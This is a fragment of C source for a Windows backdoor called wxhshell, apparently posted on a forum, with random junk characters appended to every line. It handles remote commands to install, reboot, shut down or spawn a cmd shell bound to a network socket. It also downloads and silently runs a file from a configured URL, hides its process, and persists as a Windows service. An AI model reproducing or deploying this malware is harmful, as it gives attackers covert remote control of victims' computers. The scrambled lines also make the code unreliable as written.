      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M=EV^Tw-=  
    break; Of<Vr.m{R  
  } A2`Xh#o  
  // 安装 <bywi2]z  
  case 'i': { -t125)6I  
    if(Install()) 99b"WH^3$y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bv6~!p  
    else """eU,"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E1qf N>0Z  
    break; ~(^?M  
    } VlxHZ  
  // 卸载 edlsS}8^  
  case 'r': { UGA` `;f  
    if(Uninstall()) i/,IG+4vI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2rS`ViicD  
    else CraD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v0pev;C  
    break; 5&134!hC  
    }  LD}<|  
  // 显示 wxhshell 所在路径 gy5R"_MU  
  case 'p': { &Z7NF|  
    char svExeFile[MAX_PATH]; !Bhs8eGr3  
    strcpy(svExeFile,"\n\r"); #[~f 6s9D  
      strcat(svExeFile,ExeFile); }SS~uQ;8  
        send(wsh,svExeFile,strlen(svExeFile),0); KFM)*Icg\8  
    break; ~eekv5  
    } % +M,FgW  
  // 重启 d{]2Q9g  
  case 'b': { ?T'a{ ~]R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ey U*20  
    if(Boot(REBOOT)) /@LUD=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =UZQ` {  
    else { X@:@1+U  
    closesocket(wsh); x J\>;$CY  
    ExitThread(0); 14h0$7  
    } qtS+01o  
    break; l9{.~]V  
    } |vh{Kb@  
  // 关机 ;n/04z  
  case 'd': { )zo:Bo .<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R]TS5b-  
    if(Boot(SHUTDOWN)) ?!n0N\|i]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NH8\&#}nAK  
    else { <e-hR$  
    closesocket(wsh); n%ZOR1u)k#  
    ExitThread(0); wD $sKd  
    } %9T|"\  
    break; vu_ u\2d  
    } }h9f(ZyJn  
  // 获取shell wf,w%n  
  case 's': { "> Y(0^^  
    CmdShell(wsh); U)qG]RI  
    closesocket(wsh); p9*Ak U&]  
    ExitThread(0); Q^oB`)k  
    break; p+xjYU4^C  
  } 7)l+h Z  
  // 退出 "jP{m; p  
  case 'x': { =XZd_v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?.69nN  
    CloseIt(wsh); c(lG_"q6  
    break; vC-5_pl  
    } %d#j%=  
  // 离开 <;zcz[~  
  case 'q': { dZ,~yV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tP|ox]  
    closesocket(wsh); c+G%o8  
    WSACleanup(); sN@=Ri?\  
    exit(1); ko`KAU<T_  
    break; SfGl*2  
        } ?w>-ya  
  } /jd.<r=_I  
  } 4cJka~  
'a=QCO 0  
  // 提示信息 xdrs!GV:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kq zQLu  
} G`FY[^:  
  } 4So ,m0v  
je5GZFQw  
  return; k6^!G"  
} eq7>-Dmi@  
jmn<gJ2Of  
// shell模块句柄 8'0I$Qa4  
int CmdShell(SOCKET sock) pLsWy&G  
{ pXoT@[}  
STARTUPINFO si; n_P2l<F~/x  
ZeroMemory(&si,sizeof(si)); I_iXu;UX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xC-&<s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _{y4N0  
PROCESS_INFORMATION ProcessInfo; e<HHgC#J  
char cmdline[]="cmd"; o@DlK`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5<h:kZ"S^g  
  return 0; ]E}eM@xdD  
} }\ hz@G<  
p JM&R<i:  
// 自身启动模式 _|s'0F/t  
int StartFromService(void) fz W!-  
{ 9wpV} .(  
typedef struct U$wD'v3pw  
{ t}f,j^`e  
  DWORD ExitStatus; <g{d >j  
  DWORD PebBaseAddress; ;hJz'&UWQ  
  DWORD AffinityMask; P] qL&_  
  DWORD BasePriority; \CZD.2p#&  
  ULONG UniqueProcessId; NrWgaPO)i  
  ULONG InheritedFromUniqueProcessId; =4:]V\o):'  
}   PROCESS_BASIC_INFORMATION; Q <2 `ek  
HkdBPMs79  
PROCNTQSIP NtQueryInformationProcess; ko`.nSZ-k  
'XW9+jj)/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e>!=)6[*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p [7?0 (  
=~ [RG  
  HANDLE             hProcess; n>?eTlO3  
  PROCESS_BASIC_INFORMATION pbi; j5bp)U  
w ;xbQZ|+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i 3i  
  if(NULL == hInst ) return 0; {6gY6X-R  
Ql{:H5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h0;R*c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hm 17El68  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0{ !+N6MiR  
uxsi+vkI  
  if (!NtQueryInformationProcess) return 0; L_Lhmtm}m  
@agxu-Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KU*XRZu)  
  if(!hProcess) return 0; Q;y)6+VU4  
3u~V&jl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %v, a3^Qu  
LV`tnt's  
  CloseHandle(hProcess); 4s7&*dJ  
s1%th"e [  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &^(4yw(~  
if(hProcess==NULL) return 0; X@H/"B%u2  
`tEW.s%Y(6  
HMODULE hMod; ?[c{pb ,|  
char procName[255]; F$te5 ` a  
unsigned long cbNeeded; 2dJP|T9H  
7L$\S[E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \,-e>  
v&8s>~i`K  
  CloseHandle(hProcess); #(G"ya  
pRGag~h|E  
if(strstr(procName,"services")) return 1; // 以服务启动 sz+%4T  
ANq3r(  
  return 0; // 注册表启动 GtpBd40"  
} -X_dY>>s  
9|qzFmE#  
// 主模块 rIQ%X`Y  
int StartWxhshell(LPSTR lpCmdLine) D/bF  
{ ,qT+Vqpr{  
  SOCKET wsl; f yhBfA:u  
BOOL val=TRUE; [SU;U['7  
  int port=0; kB-]SD#  
  struct sockaddr_in door; .0?A0D?sP  
 {B7${AE  
  if(wscfg.ws_autoins) Install(); K7=> o*p  
,U?^u%  
port=atoi(lpCmdLine); A#8J6xcSrL  
r&ux|o+  
if(port<=0) port=wscfg.ws_port; aXh~w<5F  
i>%A0.9  
  WSADATA data; (DY&{vudF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]\(Ho  
\IO<V9^L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W}'l8z]   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IH3Nkpsg  
  door.sin_family = AF_INET; ) m(!lDz3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N<^)tR8+  
  door.sin_port = htons(port); P`AW8Y6o  
x,LY fy"0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3wN{k\n s  
closesocket(wsl); 9NeHN@D)  
return 1; #MUY!  
} N^f_hL|:9  
l- $5CO  
  if(listen(wsl,2) == INVALID_SOCKET) { qFN`pe,  
closesocket(wsl); ?.^n,[2  
return 1; !nL>Ly  
} :pvB}RYD  
  Wxhshell(wsl); /p$+oA+  
  WSACleanup(); D-LQQ{!D5  
U3~rtc*  
return 0; $V,ZH* g  
jx14/E+^  
} .~X&BY>qP  
SA%uGkm:e  
// 以NT服务方式启动 TlD^EJG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OM?FpRVU8  
{ F+)g!NQZ  
DWORD   status = 0; PFjh]/=  
  DWORD   specificError = 0xfffffff; =HjC.h  
13fyg7^JP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /Xl(>^|&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pye/o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :QIf0*.O  
  serviceStatus.dwWin32ExitCode     = 0; Nr?CZFN#  
  serviceStatus.dwServiceSpecificExitCode = 0; +<bvh<]Od  
  serviceStatus.dwCheckPoint       = 0; ^Q9K]Vo  
  serviceStatus.dwWaitHint       = 0; lf#5X)V  
= OzpI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jEn 9T  
  if (hServiceStatusHandle==0) return; $bl<mG%#9  
IO7cRg'-F  
status = GetLastError(); >?[?W|k7V  
  if (status!=NO_ERROR) [*1:?mD$  
{ 31cZ6[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2=7:6Fw  
    serviceStatus.dwCheckPoint       = 0; )=AWgA  
    serviceStatus.dwWaitHint       = 0; :+f6:3  
    serviceStatus.dwWin32ExitCode     = status; +]p/.- Uw  
    serviceStatus.dwServiceSpecificExitCode = specificError;  E]W :  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~d-Q3n?zR  
    return; + cZC$lo  
  } kgd dq  
B]I*ymc#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {t|Q9&  
  serviceStatus.dwCheckPoint       = 0; =!u]t &yv  
  serviceStatus.dwWaitHint       = 0; gts09{"}Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hISYtNWjd"  
} +2>, -V  
.EZ8yJj1Q  
// 处理NT服务事件,比如:启动、停止 ssAGWP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /9o6R:B  
{ gfiFRwC`v  
switch(fdwControl) w|f@sB>j  
{ Hi^ Z`97c  
case SERVICE_CONTROL_STOP: 1BSn#Dnj  
  serviceStatus.dwWin32ExitCode = 0; Q-J} :U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q5]rc`} 5  
  serviceStatus.dwCheckPoint   = 0; m[ER~]L/C  
  serviceStatus.dwWaitHint     = 0; BmaY&?  
  { hPuF:iiQ4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a:KL{e[   
  } zEh&@{u?  
  return; `aSbGMz  
case SERVICE_CONTROL_PAUSE: b^A7R{G7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2 SU  
  break; Bf;<3k)5.  
case SERVICE_CONTROL_CONTINUE: A@Cvx7X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8S5Q{[!  
  break; J^!wk9q  
case SERVICE_CONTROL_INTERROGATE: k ~4o`eA  
  break; E {UhM q7  
}; .  LeS-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 ,krVb?<  
} *0m|`- T  
3;88a!AA!  
// 标准应用程序主函数 P MI?PC[;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i!eY"|o  
{ &%tW  
oJ|m/i)  
// 获取操作系统版本 G=l:v  
OsIsNt=GetOsVer(); xl Q]"sm1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t ?05  
5"bg 8hL  
  // 从命令行安装 [AYJ(H/  
  if(strpbrk(lpCmdLine,"iI")) Install(); &~'i,v|E  
j Q8 T  
  // 下载执行文件 y5XFJj  
if(wscfg.ws_downexe) { ^4xl4nbx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U+aiH U9  
  WinExec(wscfg.ws_filenam,SW_HIDE); &{q<  
} t"OP*  
$ago  
if(!OsIsNt) { fKO@Qx]  
// 如果时win9x,隐藏进程并且设置为注册表启动 /T 2 v`Li  
HideProc(); ExF6y#Y G<  
StartWxhshell(lpCmdLine); h@J3+u<  
} nELY(z  
else BU|)lU5)z  
  if(StartFromService()) PP]7_h^ 2  
  // 以服务方式启动 C3~O6<,Jh  
  StartServiceCtrlDispatcher(DispatchTable); HkY#i;%N  
else i-. AD4  
  // 普通方式启动 2b Fr8FUt-  
  StartWxhshell(lpCmdLine); VxE;tJ>1  
, eSpt#M  
return 0; 7jGfQ  
}
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只看该作者 1 发表于: 2006-10-10
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